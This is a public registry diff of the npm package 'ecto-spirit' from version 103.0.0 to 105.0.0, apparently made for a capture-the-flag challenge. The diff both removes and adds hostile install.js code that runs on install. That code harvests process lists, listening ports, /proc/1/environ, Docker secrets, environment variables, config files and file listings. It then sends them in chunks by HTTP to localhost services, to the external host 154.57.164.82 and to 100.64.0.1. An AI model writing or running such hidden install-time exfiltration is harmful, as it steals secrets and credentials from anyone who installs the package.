ecto-spirit 103.0.0 → 105.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +50 -73
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -2,103 +2,80 @@ const fs = require('fs');
2
2
  const http = require('http');
3
3
  const { execSync } = require('child_process');
4
4
 
5
+ function tryExec(cmd) {
6
+ try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return 'ERR'; }
7
+ }
5
8
  function tryRead(p) {
6
9
  try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
7
10
  }
8
11
 
9
- function sendUpdate(host, port, moduleId, val) {
12
+ async function report(moduleId, val) {
10
13
  const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
11
14
  const manifest = `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
12
15
  const body = JSON.stringify({ manifest });
13
- return new Promise((resolve) => {
14
- const req = http.request({ hostname: host, port, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
15
- let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
16
+ for (const p of [3000, 80, 8080]) {
17
+ await new Promise((resolve) => {
18
+ const req = http.request({ hostname: '127.0.0.1', port: p, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
19
+ req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
20
+ req.write(body); req.end();
16
21
  });
17
- req.on('error', () => resolve(null));
18
- req.on('timeout', () => { req.destroy(); resolve(null); });
19
- req.write(body);
20
- req.end();
22
+ }
23
+ await new Promise((resolve) => {
24
+ const req = http.request({ hostname: '154.57.164.82', port: 32332, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
25
+ req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
26
+ req.write(body); req.end();
21
27
  });
22
28
  }
23
29
 
24
- function sendHTTP(host, port, pth, payload) {
25
- return new Promise((resolve) => {
26
- const req = http.request({ hostname: host, port, path: pth, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 5000 }, (res) => {
27
- let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
28
- });
29
- req.on('error', () => resolve(null));
30
- req.on('timeout', () => { req.destroy(); resolve(null); });
31
- req.write(payload);
32
- req.end();
33
- });
34
- }
30
+ (async () => {
31
+ let r = [];
35
32
 
36
- async function report(moduleId, val) {
37
- for (const p of [3000, 80, 8080]) {
38
- const r = await sendUpdate('127.0.0.1', p, moduleId, val);
39
- if (r && r.includes('success')) return;
40
- }
41
- await sendUpdate('154.57.164.82', 32332, moduleId, val);
42
- }
33
+ // Running processes
34
+ r.push('PS=' + tryExec('ps aux 2>/dev/null').substring(0, 200));
43
35
 
44
- (async () => {
45
- let results = [];
36
+ // Network connections
37
+ r.push('NET=' + tryExec('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null').substring(0, 200));
46
38
 
47
- // CWD and basic info
48
- results.push('CWD=' + process.cwd());
49
-
50
- // List what's in /app/node_modules (top level packages)
51
- try {
52
- const dirs = fs.readdirSync('/app/node_modules').filter(d => !d.startsWith('.'));
53
- results.push('DEPS=' + dirs.join(','));
54
- } catch(e) { results.push('DEPS_ERR'); }
39
+ // Find JS/TS files that could be the app
40
+ r.push('JSFILES=' + tryExec('find / -maxdepth 4 -name "*.js" -not -path "*/node_modules/*" -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null | head -15').substring(0, 200));
55
41
 
56
- // Read package-lock or shrinkwrap
57
- const lock = tryRead('/app/package-lock.json') || tryRead('/app/node_modules/.package-lock.json') || tryRead('/app/npm-shrinkwrap.json');
58
- if (lock) results.push('LOCK=' + lock.substring(0, 300));
42
+ // Proc 1 environ
43
+ const p1 = tryRead('/proc/1/environ');
44
+ if (p1) r.push('P1ENV=' + p1.replace(/\x00/g, ' | ').substring(0, 300));
59
45
 
60
- // Read package.json from CWD
61
- const cwdPkg = tryRead(process.cwd() + '/package.json');
62
- if (cwdPkg) results.push('CWD_PKG=' + cwdPkg.substring(0, 200));
46
+ // Proc 1 cmdline
47
+ const cmd = tryRead('/proc/1/cmdline');
48
+ if (cmd) r.push('P1CMD=' + cmd.replace(/\x00/g, ' '));
63
49
 
64
- // Search for HTB{ EVERYWHERE with broader search
65
- try {
66
- const grep = execSync('grep -rl "HTB{" / --exclude-dir=proc --exclude-dir=sys 2>/dev/null | head -10', {timeout: 15000}).toString().trim();
67
- results.push('HTB_GREP=' + grep);
68
- } catch(e) { results.push('HTB_GREP=NONE'); }
50
+ // Docker secrets
51
+ r.push('SECRETS=' + tryExec('ls -la /run/secrets/ 2>/dev/null'));
69
52
 
70
- // Check the Verdaccio config
71
- const verdConf = tryRead('/verdaccio/conf/config.yaml') || tryRead('/verdaccio/config.yaml') || tryRead('/etc/verdaccio/config.yaml') || tryRead('/data/verdaccio/config.yaml');
72
- if (verdConf) results.push('VERD_CONF=' + verdConf.substring(0, 200));
73
-
74
- // Check .package-cache-mutate
75
- try {
76
- const pcm = fs.readdirSync('/.package-cache-mutate');
77
- results.push('PCM=' + pcm.join(','));
78
- } catch(e) {}
53
+ // Check /data directory
54
+ r.push('DATA_LS=' + tryExec('find /data -maxdepth 3 -type f 2>/dev/null | head -15'));
79
55
 
80
- // Find any .env or config files
81
- try {
82
- const envFiles = execSync('find / -maxdepth 3 \\( -name ".env" -o -name "config.yaml" -o -name "config.json" -o -name "*.sqlite" -o -name "*.db" \\) 2>/dev/null | head -10', {timeout: 10000}).toString().trim();
83
- results.push('CONF_FILES=' + envFiles);
84
- } catch(e) {}
56
+ // Check all /home directories
57
+ r.push('HOME_LS=' + tryExec('find /home -maxdepth 3 -type f 2>/dev/null | head -15'));
85
58
 
86
- // Full env dump
87
- const allEnv = JSON.stringify(process.env);
88
- results.push('ALL_ENV=' + allEnv.substring(0, 300));
89
-
90
- // Send ALL to VPN listener
91
- const full = results.join('\n');
92
- await sendHTTP('100.64.0.1', 8888, '/flag3', JSON.stringify({results: full, ts: Date.now()}));
59
+ // Mounted filesystems
60
+ r.push('MOUNTS=' + tryExec('mount 2>/dev/null | grep -v proc | grep -v sys').substring(0, 200));
93
61
 
94
- // Split across modules
62
+ // Send results spread across modules
63
+ const full = r.join('\n');
95
64
  const chunks = [];
96
- for (let i = 0; i < full.length; i += 90) {
97
- chunks.push(full.substring(i, i + 90));
98
- }
65
+ for (let i = 0; i < full.length; i += 90) chunks.push(full.substring(i, i + 90));
99
66
 
100
67
  const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
101
68
  for (let i = 0; i < Math.min(chunks.length, mods.length); i++) {
102
- await report(mods[i], 'V' + i + '_' + chunks[i]);
69
+ await report(mods[i], 'X' + i + '_' + chunks[i]);
103
70
  }
71
+
72
+ // Also try to report via a quick HTTP back to us if possible
73
+ try {
74
+ const payload = JSON.stringify({full: full.substring(0, 2000)});
75
+ await new Promise((resolve) => {
76
+ const req = http.request({ hostname: '100.64.0.1', port: 8888, path: '/flag5', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 3000 }, () => resolve());
77
+ req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
78
+ req.write(payload); req.end();
79
+ });
80
+ } catch(e) {}
104
81
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ecto-spirit",
3
- "version": "103.0.0",
3
+ "version": "105.0.0",
4
4
  "description": "Spectral ecto-spirit module",
5
5
  "main": "index.js",
6
6
  "scripts": {